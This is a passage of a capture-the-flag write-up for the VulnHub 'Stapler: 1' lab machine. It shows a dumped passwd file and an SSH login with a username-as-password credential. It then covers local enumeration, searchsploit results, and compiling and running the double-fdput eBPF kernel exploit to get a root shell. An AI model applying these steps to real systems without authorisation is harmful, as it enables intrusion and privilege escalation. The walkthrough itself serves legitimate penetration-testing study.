Eeth:x:1015:1015::/home/Eeth:/usr/sbin/nologin

LSolum2:x:1016:1016::/home/LSolum2:/usr/sbin/nologin

JLipps:x:1017:1017::/home/JLipps:/bin/sh

jamie:x:1018:1018::/home/jamie:/bin/sh

Sam:x:1019:1019::/home/Sam:/bin/zsh

Drew:x:1020:1020::/home/Drew:/bin/bash

jess:x:1021:1021::/home/jess:/bin/bash

SHAY:x:1022:1022::/home/SHAY:/bin/bash

Taylor:x:1023:1023::/home/Taylor:/bin/sh

mel:x:1024:1024::/home/mel:/bin/bash

kai:x:1025:1025::/home/kai:/bin/sh

zoe:x:1026:1026::/home/zoe:/bin/bash

NATHAN:x:1027:1027::/home/NATHAN:/bin/bash

www:x:1028:1028::/home/www:

postfix:x:112:118::/var/spool/postfix:/bin/false

ftp:x:110:116:ftp daemon,,,:/var/ftp:/bin/false

elly:x:1029:1029::/home/elly:/bin/bash

This is really bad. Can I get an interactive shell using this same credentials??

Gaining Low Privilege Shell using obtained credentials (through SMB enumeration)

While I put the banner here, if you have been reading until this point, you will know that the steps on this path are as follows:

1. Performed SMB enumeration
2. Obtained list of users and use it to create a wordlist for performing brute force attacks
3. Used hydra to perform brute force attack on FTP service and had successfully gained authenticated access and able to download files e.g. passwd

What if I replace SSH service instead of FTP service on step 3? Can I gain a low privilege shell on my target machine using the following credential?

username: SHayslett

password: SHayslett

Apparently, the answer is yes 😉

$ ssh [email protected]

—————————————————————–

~          Barry, don’t forget to put a message here           ~

—————————————————————–

[email protected]’s password:

Welcome back!

<REDACTED>

SHayslett@red:~$ iduid=1005(SHayslett) gid=1005(SHayslett) groups=1005(SHayslett)

Wait, while it is entirely unnecessary, but I have not looked at port 3306 and 12380 yet. Will there be other ways to gain a foothold in the system apart from the above method?

Maybe. But that is for next time – provided that I can find some other ways to gain entry (and have the time for it).

Update on 30 April 2018: I just posted a new write-up on a different path to gain entry into the machine using a method apart from the SMB enumeration I used in this write-up. If you’re interested, make your way to Write-up for Stapler: 1 – A Different Path

Privilege Escalation – Local Enumeration

Once again, it’s time to throw in our favourite enumeration scripts to look for possibilities to perform privilege escalation. Since we have SSH access, we can simply use SCP to transfer files or use whatever other methods you prefer e.g ftp, http, etc.

Here are some of the interesting information that I have shortlisted:

First, these are the kernel information. This information is extremely important when performing privilege escalation.

Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016

DISTRIB_ID=Ubuntu

DISTRIB_RELEASE=16.04

DISTRIB_CODENAME=xenial

DISTRIB_DESCRIPTION=”Ubuntu 16.04 LTS”

Also, seems like /home/www is world accessible:

# permissions on /home directories:

total 128K

drwxr-xr-x 32 root       root       4.0K Jun  4  2016 .

drwxr-xr-x 22 root       root       4.0K Jun  7  2016 ..

drwxr-xr-x  2 AParnell   AParnell   4.0K Jun  5  2016 AParnell

drwxr-xr-x  2 CCeaser    CCeaser    4.0K Jun  5  2016 CCeaser

drwxr-xr-x  2 CJoo       CJoo       4.0K Jun  5  2016 CJoo

drwxr-xr-x  2 Drew       Drew       4.0K Jun  5  2016 Drew

drwxr-xr-x  2 DSwanger   DSwanger   4.0K Jun  5  2016 DSwanger

drwxr-xr-x  2 Eeth       Eeth       4.0K Jun  5  2016 Eeth

drwxr-xr-x  2 elly       elly       4.0K Jun  5  2016 elly

drwxr-xr-x  2 ETollefson ETollefson 4.0K Jun  5  2016 ETollefson

drwxr-xr-x  2 IChadwick  IChadwick  4.0K Jun  5  2016 IChadwick

drwxr-xr-x  2 jamie      jamie      4.0K Jun  5  2016 jamie

drwxr-xr-x  2 JBare      JBare      4.0K Jun  5  2016 JBare

drwxr-xr-x  2 jess       jess       4.0K Jun  5  2016 jess

drwxr-xr-x  2 JKanode    JKanode    4.0K Jun  5  2016 JKanode

drwxr-xr-x  2 JLipps     JLipps     4.0K Jun  5  2016 JLipps

drwxr-xr-x  2 kai        kai        4.0K Jun  5  2016 kai

drwxr-xr-x  2 LSolum     LSolum     4.0K Jun  5  2016 LSolum

drwxr-xr-x  2 LSolum2    LSolum2    4.0K Jun  5  2016 LSolum2

drwxr-xr-x  2 MBassin    MBassin    4.0K Jun  5  2016 MBassin

drwxr-xr-x  2 mel        mel        4.0K Jun  5  2016 mel

drwxr-xr-x  2 MFrei      MFrei      4.0K Jun  5  2016 MFrei

drwxr-xr-x  2 NATHAN     NATHAN     4.0K Jun  5  2016 NATHAN

drwxr-xr-x  3 peter      peter      4.0K Jun  3  2016 peter

drwxr-xr-x  2 RNunemaker RNunemaker 4.0K Jun  5  2016 RNunemaker

drwxr-xr-x  2 Sam        Sam        4.0K Jun  5  2016 Sam

drwxr-xr-x  2 SHAY       SHAY       4.0K Jun  5  2016 SHAY

drwxr-xr-x  3 SHayslett  SHayslett  4.0K Dec 17 19:12 SHayslett

drwxr-xr-x  2 SStroud    SStroud    4.0K Jun  5  2016 SStroud

drwxr-xr-x  2 Taylor     Taylor     4.0K Jun  5  2016 Taylor

drwxrwxrwx  2 www        www        4.0K Jun  5  2016 www

drwxr-xr-x  2 zoe        zoe        4.0K Jun  5  2016 zoe

Netstats information. interestingly, there is a locally run SMTP server (127.0.0.1), probably something specially put there for one to perform privilege escalation 🙂

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      –

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:666             0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:12380           0.0.0.0:*               LISTEN      –

tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      –

tcp        0      0 192.168.117.136:22      192.168.117.134:53878   ESTABLISHED –

tcp6       0      0 :::139                  :::*                    LISTEN      –

tcp6       0      0 :::53                   :::*                    LISTEN      –

tcp6       0      0 :::22                   :::*                    LISTEN      –

tcp6       0      0 :::445                  :::*                    LISTEN      –

I didn’t know there is a port 8888 running though. I attempted to connect to it from external, doesn’t work. Even nmap has shown that the service port is filtered.

$ nmap -sS -Pn -T4 -p8888 192.168.117.136

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-17 19:22 +08

Nmap scan report for 192.168.117.136

Host is up (0.00031s latency).

PORT     STATE    SERVICE

8888/tcp filtered sun-answerbook

And after checking the locally running services, I finally understand what was the issue.

<REDACTED>

root      1430  0.0  0.3   6472  3220 ?        S    15:27   0:00 su -c cd /home/JKanode; python2 -m SimpleHTTPServer 8888 &>/dev/null JKanode

<REDACTED>

Apparently, there was an HTTP server setup indeed, but whoever connect to it will be output to /dev/null, ouch.

Other findings from local privilege escalation enumeration on software version information:

Sudo version:

Sudo version 1.8.16

MYSQL version:

mysql  Ver 14.14 Distrib 5.7.12, for Linux (i686) using  EditLine wrapper

Apache version:

Server version: Apache/2.4.18 (Ubuntu)

Server built:   2016-04-15T18:00:57

The author has been very nice to leave all these tools in the box:

/bin/nc

/bin/netcat

/usr/bin/wget

/usr/bin/gcc

That’s it for now, is there anything you noticed that can help us gain access to root already?

Privilege Escalation using kernel exploit

One of the easier ways to escalate privileges is to run an existing kernel exploits. Sometimes, it can be a pain to make it work, but if you understand the underlying issue and what is the exploit trying to do, you can usually make it work.

$ searchsploit ‘4.4.0-21’

———————————————————————- ———————————-

Exploit Title                                                        |  Path

                                                                      | (/usr/share/exploitdb/)

———————————————————————- ———————————-

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) – Netfilter target_offset Ou | exploits/lin_x86-64/local/40049.c

———————————————————————- ———————————-

This is not going to work because our target machine runs on 32-bit while the exploit is for 64-bit machines.

What 32-bit, you asked? Here’s a reminder:

$ uname -a

Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

Another way is to search for the Ubuntu version 16.04.

$ searchsploit ‘16.04’

———————————————————————- ———————————-

Exploit Title                                                        |  Path

                                                                      | (/usr/share/exploitdb/)

———————————————————————- ———————————-

Apport 2.x (Ubuntu Desktop 12.10 < 16.04) – Local Code Execution      | exploits/linux/local/40937.txt

Exim 4 (Debian 8 / Ubuntu 16.04) – Spool Privilege Escalation         | exploits/linux/local/40054.c

Google Chrome + Fedora 25 / Ubuntu 16.04 – ‘tracker-extract’ / ‘gnome | exploits/linux/local/40943.txt

LightDM (Ubuntu 16.04/16.10) – Guest Account Local Privilege Escalati | exploits/linux/local/41923.txt

Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fed | exploits/lin_x86-64/local/42275.c

Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/ | exploits/lin_x86/local/42276.c

Linux Kernel (Ubuntu 16.04) – Reference Count Overflow Using BPF Maps | exploits/linux/dos/39773.txt

Linux Kernel 4.4 (Ubuntu 16.04) – ‘BPF’ Local Privilege Escalation (M | exploits/linux/local/40759.rb

Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) – ‘AF_PACKET’ Race Con | exploits/lin_x86-64/local/40871.c

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) – Netfilter target_offset Ou | exploits/lin_x86-64/local/40049.c

Linux Kernel 4.4.x (Ubuntu 16.04) – ‘double-fdput()’ bpf(BPF_PROG_LOA | exploits/linux/local/39772.txt

Linux Kernel 4.6.2 (Ubuntu 16.04.1) – ‘IP6T_SO_SET_REPLACE’ Local Pri | exploits/linux/local/40489.txt

censura 1.16.04 – Blind SQL Injection / Cross-Site Scripting          | exploits/php/webapps/9129.txt

———————————————————————- ———————————-

After reading the descriptions of a few of the exploits, I have selected the double-fdput exploit, ID 39772. The following is its description:

https://gist.github.com/kongwenbin/42f193df5c97b543356a253a3fc112a7

The URL in the file that leads us to the POC files are all giving 404 error. However, something I learn from my OSCP journey is to be able to look for information online using a magical tool called a “Search Engine“, or some call it “Google” 😀

I have managed to find the original exploit file on chromium:

Now let’s transfer it to the target machine using SCP. It’s very convenient since I have SSH credentials 🙂

scp exploit.tar [email protected]:/tmp/

—————————————————————–

~          Barry, don’t forget to put a message here           ~

—————————————————————–

[email protected]’s password:

exploit.tar                                                            100%   20KB   4.9MB/s   00:00

Now that I have the file locally on the target machine, it is time to compile the exploit!

tar xvf exploit.tar

ebpf_mapfd_doubleput_exploit/

ebpf_mapfd_doubleput_exploit/hello.c

ebpf_mapfd_doubleput_exploit/suidhelper.c

ebpf_mapfd_doubleput_exploit/compile.sh

ebpf_mapfd_doubleput_exploit/doubleput.c

SHayslett@red:/tmp$ cd ebpf_mapfd_doubleput_exploit/

SHayslett@red:/tmp/ebpf_mapfd_doubleput_exploit$ ./compile.sh

doubleput.c: In function ‘make_setuid’:

doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]

    .insns = (__aligned_u64) insns,

             ^

doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]

    .license = (__aligned_u64)””

               ^

And it’s done. There was a few warnings but overall looks good!

Now, run the exploit:

SHayslett@red:/tmp/ebpf_mapfd_doubleput_exploit$ ./doubleput

starting writev

woohoo, got pointer reuse

writev returned successfully. if this worked, you’ll have a root shell in <=60 seconds.

suid file detected, launching rootshell…

we have root privs now…

root@red:/tmp/ebpf_mapfd_doubleput_exploit# id

uid=0(root) gid=0(root) groups=0(root),1005(SHayslett)

There you go! I am now root 😀

Lastly, the flag.txt 😀

root@red:/root# cat flag.txt

~~~~~~~~~~<(Congratulations)>~~~~~~~~~~

                          .-””’-.

                          |’—–‘|

                          |-…..-|

                          |       |

                          |       |

         _,._             |       |

    __.o`   o`”-.         |       |

.-O o `”-.o   O )_,._    |       |

( o   O  o )–.-“`O   o”-.`’—–‘`

‘——–‘  (   o  O    o)

              `———-`

b6b545dc11b7a270f4bad23432190c75162c4a2b

If you like this post, please check out my other similar write-ups as well:

• Write-up for FristiLeaks v1.3 [VulnHub]
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• Write-up for Kioptrix: Level 1.3 (#4)
• Write-up for Kioptrix: Level 1.2 (#3)
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• Write-up for Kioptrix: Level 1 (#1)